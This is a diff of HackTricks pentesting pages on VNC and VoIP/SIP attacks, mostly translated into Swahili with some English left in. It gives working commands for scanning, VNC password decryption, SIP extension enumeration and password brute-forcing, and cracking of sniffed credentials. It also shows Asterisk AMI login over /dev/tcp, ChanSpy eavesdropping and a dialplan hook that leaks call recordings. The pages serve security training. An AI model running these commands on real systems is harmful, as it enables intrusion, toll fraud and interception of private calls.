@ -15,16 +15,22 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Virtual Network Computing (VNC)** ni mfumo thabiti wa kushiriki desktop wa picha unaotumia **Remote Frame Buffer (RFB)** protokali kuwezesha udhibiti wa mbali na ushirikiano na kompyuta nyingine. Kwa VNC, watumiaji wanaweza kuingiliana kwa urahisi na kompyuta ya mbali kwa kutuma matukio ya kibodi na panya kwa pande zote mbili. Hii inaruhusu ufikiaji wa wakati halisi na inarahisisha msaada wa mbali au ushirikiano kupitia mtandao.
|
||||
**Virtual Network Computing (VNC)** ni mfumo thabiti wa kushiriki desktop wa picha unaotumia **Remote Frame Buffer (RFB)** protokali kuwezesha udhibiti wa mbali na ushirikiano na kompyuta nyingine. Kwa VNC, watumiaji wanaweza kuingiliana kwa urahisi na kompyuta ya mbali kwa kuhamasisha matukio ya kibodi na panya kwa pande mbili. Hii inaruhusu ufikiaji wa wakati halisi na inarahisisha msaada wa mbali au ushirikiano kwa njia ya mtandao.
|
||||
|
||||
VNC kwa kawaida hutumia bandari **5800 au 5801 au 5900 au 5901.**
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
5900/tcp open vnc
|
||||
```
|
||||
## Uhesabuzi
|
||||
## Uhesabuji
|
||||
```bash
|
||||
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/vnc/vnc_none_auth
|
||||
|
@ -35,9 +41,9 @@ msf> use auxiliary/scanner/vnc/vnc_none_auth
|
|||
```bash
|
||||
vncviewer [-passwd passwd.txt] <IP>::5901
|
||||
```
|
||||
## Kuondoa siri ya nenosiri la VNC
|
||||
## Kuondoa usiri wa nenosiri la VNC
|
||||
|
||||
Nenosiri la **kawaida limehifadhiwa** katika: \~/.vnc/passwd
|
||||
Default **nenosiri limehifadhiwa** katika: \~/.vnc/passwd
|
||||
|
||||
Ikiwa una nenosiri la VNC na linaonekana limefichwa (baiti chache, kama vile linaweza kuwa nenosiri lililofichwa), huenda limeandikwa kwa 3des. Unaweza kupata nenosiri la wazi kwa kutumia [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
|
||||
```bash
|
||||
|
@ -54,6 +60,12 @@ I save the tool here also for ease of access:
|
|||
|
||||
* `port:5900 RFB`
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_kuandika na kuzungumza kwa ufasaha kwa Kiholanzi kunahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -1,21 +1,29 @@
|
|||
# Pentesting VoIP
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## VoIP Taarifa za Msingi
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti kuhusu udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Taarifa za Msingi za VoIP
|
||||
|
||||
Ili kuanza kujifunza jinsi VoIP inavyofanya kazi angalia:
|
||||
|
||||
|
@ -145,7 +153,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
|
|||
|
||||
Moja ya hatua za kwanza ambazo Timu Nyekundu inaweza kufanya ni kutafuta nambari za simu zinazopatikana kuwasiliana na kampuni kwa kutumia zana za OSINT, Utafutaji wa Google au kuchambua kurasa za wavuti.
|
||||
|
||||
Mara tu unapokuwa na nambari za simu unaweza kutumia huduma za mtandaoni kubaini mtoa huduma:
|
||||
Mara tu unapo kuwa na nambari za simu unaweza kutumia huduma za mtandaoni kubaini mtoa huduma:
|
||||
|
||||
* [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr)
|
||||
* [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
|
||||
|
@ -204,7 +212,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
|
|||
# Use --fp to fingerprint the services
|
||||
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
|
||||
```
|
||||
* **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS scan ni skana ya haraka sana kwa huduma za SIP kupitia UDP, TCP au TLS. Inatumia nyuzi nyingi na inaweza kuskena anuwai kubwa za mitandao. Inaruhusu kuashiria kwa urahisi anuwai ya bandari, skena TCP na UDP, tumia njia nyingine (kwa default itatumia OPTIONS) na kubaini User-Agent tofauti (na zaidi).
|
||||
* **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS scan ni skana ya haraka sana kwa huduma za SIP kupitia UDP, TCP au TLS. Inatumia nyuzi nyingi na inaweza kuskena anuwai kubwa za mitandao. Inaruhusu kuonyesha kwa urahisi anuwai ya bandari, skena TCP na UDP, tumia njia nyingine (kwa default itatumia OPTIONS) na kubaini User-Agent tofauti (na zaidi).
|
||||
```bash
|
||||
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
|
||||
|
||||
|
@ -222,7 +230,7 @@ auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
|
|||
```
|
||||
#### Extra Network Enumeration
|
||||
|
||||
PBX inaweza pia kuwa inatoa huduma nyingine za mtandao kama vile:
|
||||
PBX inaweza pia kuwa inatoa huduma zingine za mtandao kama vile:
|
||||
|
||||
* **69/UDP (TFTP)**: Sasisho za firmware
|
||||
* **80 (HTTP) / 443 (HTTPS)**: Kusimamia kifaa kutoka mtandao
|
||||
|
@ -253,7 +261,7 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws
|
|||
|
||||
Extensions katika mfumo wa PBX (Private Branch Exchange) zinarejelea **vitambulisho vya ndani vya kipekee vilivyotolewa kwa mistari ya simu, vifaa, au watumiaji** ndani ya shirika au biashara. Extensions zinawezesha **kuelekeza simu ndani ya shirika kwa ufanisi**, bila haja ya nambari za simu za nje za kila mtumiaji au kifaa.
|
||||
|
||||
* **`svwar`** kutoka SIPVicious (`sudo apt install sipvicious`): `svwar` ni skana ya mistari ya uzungumzaji ya SIP PBX ya bure. Katika dhana inafanya kazi kwa njia inayofanana na wardialers wa jadi kwa **kukisia anuwai ya extensions au orodha maalum ya extensions**.
|
||||
* **`svwar`** kutoka SIPVicious (`sudo apt install sipvicious`): `svwar` ni skana ya mistari ya PBX ya SIP isiyolipishwa. Katika dhana inafanya kazi kwa njia inayofanana na wardialers wa jadi kwa **kukisia anuwai ya extensions au orodha maalum ya extensions**.
|
||||
```bash
|
||||
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
|
||||
```
|
||||
|
@ -266,7 +274,7 @@ sippts exten -i 10.10.0.10 -r 5060 -e 100-200
|
|||
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
|
||||
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
|
||||
```
|
||||
* **`enumiax` (`apt install enumiax`): enumIAX** ni **mchambuzi wa nguvu za kike wa jina la mtumiaji** wa itifaki ya Inter Asterisk Exchange. enumIAX inaweza kufanya kazi katika njia mbili tofauti; Kukisia Jina la Mtumiaji kwa Mfululizo au Shambulio la Kamusi.
|
||||
* **`enumiax` (`apt install enumiax`): enumIAX** ni **mchambuzi wa jina la mtumiaji wa Inter Asterisk Exchange protocol**. enumIAX inaweza kufanya kazi katika njia mbili tofauti; Kukisia Jina la Mtumiaji kwa Mfululizo au Shambulio la Kamusi.
|
||||
```bash
|
||||
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
|
||||
enumiax -v -m3 -M3 10.10.0.10
|
||||
|
@ -275,20 +283,20 @@ enumiax -v -m3 -M3 10.10.0.10
|
|||
|
||||
### Password Brute-Force - online
|
||||
|
||||
Baada ya kugundua **PBX** na baadhi ya **extensions/usernames**, Timu Nyekundu inaweza kujaribu **kujiandikisha kupitia njia ya `REGISTER`** kwa extension ikitumia kamusi ya nywila za kawaida ili kufungua uthibitisho.
|
||||
Having discovered the **PBX** and some **extensions/usernames**, a Red Team could try to **authenticate via the `REGISTER` method** to an extension using a dictionary of common passwords to brute force the authentication.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Kumbuka kwamba **username** inaweza kuwa sawa na extension, lakini tabia hii inaweza kutofautiana kulingana na mfumo wa PBX, usanidi wake, na mapendeleo ya shirika...
|
||||
Note that a **username** can be the same as the extension, but this practice may vary depending on the PBX system, its configuration, and the organization's preferences...
|
||||
|
||||
Ikiwa username si sawa na extension, itabidi **ujue username ili kuifungua**.
|
||||
If the username is not the same as the extension, you will need to **kujua jina la mtumiaji ili kulazimisha**.
|
||||
{% endhint %}
|
||||
|
||||
* **`svcrack`** kutoka SIPVicious (`sudo apt install sipvicious`): SVCrack inakuwezesha kufungua nywila ya username/extension maalum kwenye PBX.
|
||||
* **`svcrack`** from SIPVicious (`sudo apt install sipvicious`): SVCrack allows you to crack the password for a specific username/extension on a PBX.
|
||||
```bash
|
||||
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
|
||||
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
|
||||
```
|
||||
* **`SIPPTS rcrack`** kutoka [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack ni mchanganyiko wa nywila wa mbali kwa huduma za SIP. Rcrack inaweza kujaribu nywila za watumiaji kadhaa katika anwani tofauti za IP na anuwai za bandari.
|
||||
* **`SIPPTS rcrack`** kutoka [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack ni mchanganyiko wa nywila wa mbali kwa huduma za SIP. Rcrack inaweza kujaribu nywila za watumiaji kadhaa katika IP tofauti na anuwai za bandari.
|
||||
```bash
|
||||
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
||||
```
|
||||
|
@ -298,22 +306,22 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
|||
|
||||
### VoIP Sniffing
|
||||
|
||||
Ikiwa utapata vifaa vya VoIP ndani ya **Open Wifi network**, unaweza **kunasa taarifa zote**. Zaidi ya hayo, ikiwa uko ndani ya mtandao uliofungwa zaidi (uliounganishwa kupitia Ethernet au Wifi iliyo na ulinzi) unaweza kufanya **MitM attacks kama** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) kati ya **PBX na gateway** ili kunasa taarifa.
|
||||
Ikiwa unapata vifaa vya VoIP ndani ya **mtandao wa Wifi wa wazi**, unaweza **kunasa taarifa zote**. Zaidi ya hayo, ikiwa uko ndani ya mtandao uliofungwa zaidi (uliounganishwa kupitia Ethernet au Wifi iliyo na ulinzi) unaweza kufanya **shambulio la MitM kama** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) kati ya **PBX na lango** ili kunasa taarifa.
|
||||
|
||||
Kati ya taarifa za mtandao, unaweza kupata **web credentials** za kudhibiti vifaa, **extensions** za watumiaji, **username**, anwani za **IP**, hata **hashed passwords** na **RTP packets** ambazo unaweza kuzirejesha ili **kusikia mazungumzo**, na zaidi.
|
||||
Kati ya taarifa za mtandao, unaweza kupata **vithibitisho vya wavuti** vya kusimamia vifaa, **extensions** za mtumiaji, **jina la mtumiaji**, anwani za **IP**, hata **nywila zilizohashwa** na **pakiti za RTP** ambazo unaweza kuzirejesha ili **kusikia mazungumzo**, na zaidi.
|
||||
|
||||
Ili kupata taarifa hizi unaweza kutumia zana kama Wireshark, tcpdump... lakini **zana iliyoundwa mahsusi kunasa mazungumzo ya VoIP ni** [**ucsniff**](https://github.com/Seabreg/ucsniff).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Kumbuka kwamba ikiwa **TLS inatumika katika mawasiliano ya SIP** huwezi kuona mawasiliano ya SIP kwa wazi.\
|
||||
Ile ile itatokea ikiwa **SRTP** na **ZRTP** inatumika, **RTP packets hazitakuwa katika maandiko wazi**.
|
||||
Ile ile itatokea ikiwa **SRTP** na **ZRTP** inatumika, **pakiti za RTP hazitakuwa katika maandiko wazi**.
|
||||
{% endhint %}
|
||||
|
||||
#### SIP credentials (Password Brute-Force - offline)
|
||||
|
||||
[Angalia mfano huu ili kuelewa vizuri **SIP REGISTER communication**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) ili kujifunza jinsi **credentials zinavyotumwa**.
|
||||
[Angalia mfano huu ili kuelewa vizuri **mawasiliano ya SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) ili kujifunza jinsi **vithibitisho vinavyotumwa**.
|
||||
|
||||
* **`sipdump`** & **`sipcrack`,** sehemu ya **sipcrack** (`apt-get install sipcrack`): Zana hizi zinaweza **kutoa** kutoka kwa **pcap** **digest authentications** ndani ya protokali ya SIP na **bruteforce** hizo.
|
||||
* **`sipdump`** & **`sipcrack`,** sehemu ya **sipcrack** (`apt-get install sipcrack`): Zana hizi zinaweza **kutoa** kutoka kwa **pcap** **uthibitisho wa digest** ndani ya protokali ya SIP na **kujaribu nguvu** hizo.
|
||||
```bash
|
||||
sipdump -p net-capture.pcap sip-creds.txt
|
||||
sipcrack sip-creds.txt -w dict.txt
|
||||
|
@ -333,7 +341,7 @@ sippts tshark -f capture.pcap [-filter auth]
|
|||
#### DTMF codes
|
||||
|
||||
**Sio tu akreditif za SIP** zinaweza kupatikana katika trafiki ya mtandao, pia inawezekana kupata nambari za DTMF ambazo zinatumika kwa mfano kupata **voicemail**.\
|
||||
Inawezekana kutuma nambari hizi katika **INFO SIP messages**, katika **sauti** au ndani ya **RTP packets**. Ikiwa nambari ziko ndani ya RTP packets, unaweza kukata sehemu hiyo ya mazungumzo na kutumia zana multimo kuzitoa:
|
||||
Inawezekana kutuma nambari hizi katika **INFO SIP messages**, katika **audio** au ndani ya **RTP packets**. Ikiwa nambari ziko ndani ya RTP packets, unaweza kukata sehemu hiyo ya mazungumzo na kutumia zana multimo kuzitoa:
|
||||
```bash
|
||||
multimon -a DTMF -t wac pin.wav
|
||||
```
|
||||
|
@ -359,7 +367,7 @@ Pia inawezekana kuanzisha uaminifu na variable isiyo salama:
|
|||
* **`insecure=port,invite`**: Zote mbili
|
||||
|
||||
{% hint style="warning" %}
|
||||
Wakati **`type=friend`** inatumika, **thamani** ya variable ya **host** **haitatumika**, hivyo ikiwa msimamizi **ataweka vibaya SIP-trunk** akitumia thamani hiyo, **mtu yeyote ataweza kuungana nayo**.
|
||||
Wakati **`type=friend`** inatumika, **thamani** ya variable **host** **haitatumika**, hivyo ikiwa msimamizi **ataweka vibaya SIP-trunk** akitumia thamani hiyo, **mtu yeyote ataweza kuungana nayo**.
|
||||
|
||||
Kwa mfano, usanidi huu utakuwa na hatari:\
|
||||
`host=10.10.10.10`\
|
||||
|
@ -396,7 +404,7 @@ include => my_context
|
|||
include => external
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Mtu yeyote ataweza kutumia **serveri kuita nambari nyingine yoyote** (na msimamizi wa serveri atagharamia simu hiyo).
|
||||
Mtu yeyote ataweza kutumia **server kuita nambari nyingine yoyote** (na msimamizi wa server atagharamia simu hiyo).
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
|
@ -419,15 +427,15 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
|
|||
|
||||
### Free calls / Mipangilio isiyo sahihi ya IVRS
|
||||
|
||||
IVRS inasimama kwa **Mfumo wa Majibu ya Sauti ya Kijamii**, teknolojia ya simu inayowaruhusu watumiaji kuingiliana na mfumo wa kompyuta kupitia sauti au ingizo la kugusa. IVRS inatumika kujenga **mifumo ya kushughulikia simu kiotomatiki** ambayo inatoa anuwai ya kazi, kama vile kutoa taarifa, kuelekeza simu, na kukamata ingizo la mtumiaji.
|
||||
IVRS inamaanisha **Mfumo wa Majibu ya Sauti ya Kijamii**, teknolojia ya simu inayowaruhusu watumiaji kuingiliana na mfumo wa kompyuta kupitia sauti au ingizo la tone. IVRS inatumika kujenga **mifumo ya kushughulikia simu kiotomatiki** ambayo inatoa anuwai ya kazi, kama vile kutoa taarifa, kuelekeza simu, na kukamata ingizo la mtumiaji.
|
||||
|
||||
IVRS katika mifumo ya VoIP kwa kawaida inajumuisha:
|
||||
|
||||
1. **Maagizo ya sauti**: Ujumbe wa sauti ulioandikwa awali unaoongoza watumiaji kupitia chaguo za menyu za IVR na maelekezo.
|
||||
2. **DTMF** (Dual-Tone Multi-Frequency) ishara: Ingizo la kugusa linalozalishwa kwa kubonyeza funguo kwenye simu, ambalo linatumika kuhamasisha kupitia menyu za IVR na kutoa ingizo.
|
||||
1. **Maagizo ya sauti**: Ujumbe wa sauti ulioandikwa awali unaoongoza watumiaji kupitia chaguzi za menyu za IVR na maelekezo.
|
||||
2. **DTMF** (Dual-Tone Multi-Frequency) ishara: Ingizo la tone linalozalishwa kwa kubonyeza funguo kwenye simu, ambalo linatumika kuhamasisha kupitia menyu za IVR na kutoa ingizo.
|
||||
3. **Kuelekeza simu**: Kuelekeza simu kwa mahali sahihi, kama vile idara maalum, mawakala, au nyongeza kulingana na ingizo la mtumiaji.
|
||||
4. **Kukamata ingizo la mtumiaji**: Kukusanya taarifa kutoka kwa wapiga simu, kama vile nambari za akaunti, vitambulisho vya kesi, au data nyingine yoyote muhimu.
|
||||
5. **Ushirikiano na mifumo ya nje**: Kuunganisha mfumo wa IVR na hifadhidata au mifumo mingine ya programu ili kufikia au kuboresha taarifa, kutekeleza vitendo, au kuanzisha matukio.
|
||||
5. **Ushirikiano na mifumo ya nje**: Kuunganisha mfumo wa IVR na hifadhidata au mifumo mingine ya programu ili kufikia au kusasisha taarifa, kutekeleza vitendo, au kuanzisha matukio.
|
||||
|
||||
Katika mfumo wa VoIP wa Asterisk, unaweza kuunda IVR kwa kutumia mpango wa kupiga (**`extensions.conf`** file) na programu mbalimbali kama `Background()`, `Playback()`, `Read()`, na zaidi. Programu hizi zinakusaidia kucheza maagizo ya sauti, kukamata ingizo la mtumiaji, na kudhibiti mtiririko wa simu.
|
||||
|
||||
|
@ -448,7 +456,7 @@ Kutumia nambari kama:
|
|||
```scss
|
||||
exten => _X.,1,Dial(SIP/${EXTEN})
|
||||
```
|
||||
Ambapo **`${EXTEN}`** ni **kiendelezi** ambacho kitaitwa, wakati **ext 101 inapoanzishwa** hii ndiyo itakayojiri:
|
||||
Wakati **`${EXTEN}`** ni **kiendelezi** ambacho kitaitwa, wakati **ext 101 inapoanzishwa** hii ndiyo itakayojitokeza:
|
||||
```scss
|
||||
exten => 101,1,Dial(SIP/101)
|
||||
```
|
||||
|
@ -456,7 +464,7 @@ Hata hivyo, ikiwa **`${EXTEN}`** inaruhusu kuingiza **zaidi ya nambari** (kama k
|
|||
```scss
|
||||
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
|
||||
```
|
||||
Kwa hivyo, simu kwa kiendelezi **`101`** na **`123123123`** itatumwa na ni yule wa kwanza kupata simu ndiye atakayekubaliwa... lakini ikiwa mshambuliaji atatumia **kiendelezi ambacho kinapita mechi yoyote** inayofanywa lakini hakipo, anaweza **kuingiza simu tu kwa nambari inayotakiwa**.
|
||||
Kwa hivyo, simu kwa kiendelezi **`101`** na **`123123123`** itatumwa na ni yule wa kwanza kupata simu ambaye atakuwa ameanzishwa... lakini ikiwa mshambuliaji atatumia **kiendelezi ambacho kinapita mechi yoyote** inayofanywa lakini hakipo, anaweza **kuingiza simu tu kwa nambari inayotakiwa**.
|
||||
|
||||
## Uthibitisho wa SIPDigestLeak
|
||||
|
||||
|
@ -467,7 +475,7 @@ Uthibitisho wa SIP Digest Leak ni udhaifu unaoathiri idadi kubwa ya Simu za SIP,
|
|||
1. Simu ya IP (mohaka) inasikiliza kwenye bandari yoyote (kwa mfano: 5060), ikikubali simu
|
||||
2. Mshambuliaji anatumia INVITE kwa Simu ya IP
|
||||
3. Simu ya mohaka inaanza kupiga kelele na mtu anachukua na kutundika (kwa sababu hakuna anayejibu simu upande wa pili)
|
||||
4. Wakati simu inatundikwa, **simu ya mohaka inatuma BYE kwa mshambuliaji**
|
||||
4. Wakati simu imetundikwa, **simu ya mohaka inatuma BYE kwa mshambuliaji**
|
||||
5. **Mshambuliaji anatoa jibu la 407** ambalo **linahitaji uthibitisho** na kutoa changamoto ya uthibitisho
|
||||
6. **Simu ya mohaka inatoa jibu kwa changamoto ya uthibitisho** katika BYE ya pili
|
||||
7. **Mshambuliaji anaweza kisha kutoa shambulio la nguvu za kikatili** kwenye jibu la changamoto kwenye mashine yake ya ndani (au mtandao wa kusambazwa n.k.) na kukisia nenosiri
|
||||
|
@ -495,7 +503,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
|
|||
```
|
||||
### Click2Call
|
||||
|
||||
Click2Call inaruhusu **mtumiaji wa wavuti** (ambaye kwa mfano anaweza kuwa na hamu ya bidhaa) **kuwasilisha** nambari yake ya **simu** ili apigiwe simu. Kisha biashara itapigiwa simu, na wakati atakap **chukua simu** mtumiaji atakuwa **apigiwe simu na kuunganishwa na wakala**.
|
||||
Click2Call inaruhusu **mtumiaji wa wavuti** (ambaye kwa mfano anaweza kuwa na hamu ya bidhaa) **kuwasilisha** nambari yake ya **simu** ili apigiwe simu. Kisha biashara itapigiwa simu, na wakati yeye **anapoinua simu** mtumiaji atakuwa **apigiwa simu na kuunganishwa na wakala**.
|
||||
|
||||
Profaili ya kawaida ya Asterisk kwa hili ni:
|
||||
```scss
|
||||
|
@ -523,9 +531,9 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
|
|||
|
||||
### **Kusikiliza kwa siri**
|
||||
|
||||
Katika Asterisk inawezekana kutumia amri **`ChanSpy`** kuashiria **kiunganishi (extension) cha kufuatilia** (au vyote) ili kusikia mazungumzo yanayoendelea. Amri hii inahitaji kupewa kiunganishi.
|
||||
Katika Asterisk inawezekana kutumia amri **`ChanSpy`** kuashiria **kiunganishi (s) cha kufuatilia** (au yote) ili kusikia mazungumzo yanayotokea. Amri hii inahitaji kupewa kiunganishi.
|
||||
|
||||
Kwa mfano, **`exten => 333,1,ChanSpy('all',qb)`** inaonyesha kwamba ikiwa **unapiga** **kiunganishi 333**, itakuwa **inachunguza** **`vyote`** kiunganishi, **kuanza kusikiliza** kila wakati mazungumzo mapya yanapoanza (**`b`**) katika hali ya kimya (**`q`**) kwani hatutaki kuingilia kati. Unaweza kuhamia kutoka mazungumzo moja hadi nyingine kwa kubonyeza **`*`**, au kuandika nambari ya kiunganishi.
|
||||
Kwa mfano, **`exten => 333,1,ChanSpy('all',qb)`** inaonyesha kwamba ikiwa **unapiga** **kiunganishi 333**, itakuwa **inatazama** **`all`** ya viunganishi, **kuanza kusikiliza** kila wakati mazungumzo mapya yanapoanza (**`b`**) katika hali ya kimya (**`q`**) kwani hatutaki kuingilia kati. Unaweza kuhamia kutoka mazungumzo moja yanayotokea hadi nyingine kwa kubonyeza **`*`**, au kuandika nambari ya kiunganishi.
|
||||
|
||||
Pia inawezekana kutumia **`ExtenSpy`** kufuatilia kiunganishi kimoja tu.
|
||||
|
||||
|
@ -547,11 +555,11 @@ exten => h,1,System(/tmp/leak_conv.sh &)
|
|||
```
|
||||
### RTCPBleed vulnerability
|
||||
|
||||
**RTCPBleed** ni tatizo kubwa la usalama linaloathiri seva za VoIP za msingi wa Asterisk (zilizochapishwa mwaka 2017). Uthibitisho huu unaruhusu **RTP (Real Time Protocol) traffic**, ambayo inabeba mazungumzo ya VoIP, **kuingiliwa na kuelekezwa na mtu yeyote kwenye Mtandao**. Hii inatokea kwa sababu trafiki ya RTP inapita uthibitisho inapokuwa inaviga kupitia moto wa NAT (Network Address Translation).
|
||||
**RTCPBleed** ni tatizo kubwa la usalama linaloathiri seva za VoIP zinazotumia Asterisk (iliyotangazwa mwaka 2017). Uthibitisho huu unaruhusu **RTP (Real Time Protocol) traffic**, ambayo inabeba mazungumzo ya VoIP, **kuingiliwa na kuelekezwa na mtu yeyote kwenye Mtandao**. Hii inatokea kwa sababu trafiki ya RTP inapita uthibitisho inapopita kupitia moto wa NAT (Network Address Translation).
|
||||
|
||||
RTP proxies hujaribu kushughulikia **mipaka ya NAT** inayohusiana na mifumo ya RTC kwa kuproxy RTP streams kati ya wahusika wawili au zaidi. Wakati NAT ipo, programu ya RTP proxy mara nyingi haiwezi kutegemea taarifa za IP na bandari za RTP zilizopatikana kupitia ishara (mfano: SIP). Kwa hivyo, idadi ya RTP proxies zimeanzisha mekanizma ambapo **IP na bandari ya tuplet inajifunza kiotomatiki**. Hii mara nyingi hufanywa kwa kukagua trafiki ya RTP inayokuja na kuweka alama IP na bandari ya chanzo kwa trafiki yoyote ya RTP inayokuja kama ile ambayo inapaswa kujibiwa. Mekanizma hii, ambayo inaweza kuitwa "mode ya kujifunza", **haitumii aina yoyote ya uthibitisho**. Kwa hivyo **washambuliaji** wanaweza **kutuma trafiki ya RTP kwa RTP proxy** na kupokea trafiki ya RTP iliyoprokisiwa ambayo inapaswa kuwa kwa mpiga simu au mpokeaji wa mtiririko wa RTP unaoendelea. Tunaita uthibitisho huu RTP Bleed kwa sababu unaruhusu washambuliaji kupokea RTP media streams ambazo zinapaswa kutumwa kwa watumiaji halali.
|
||||
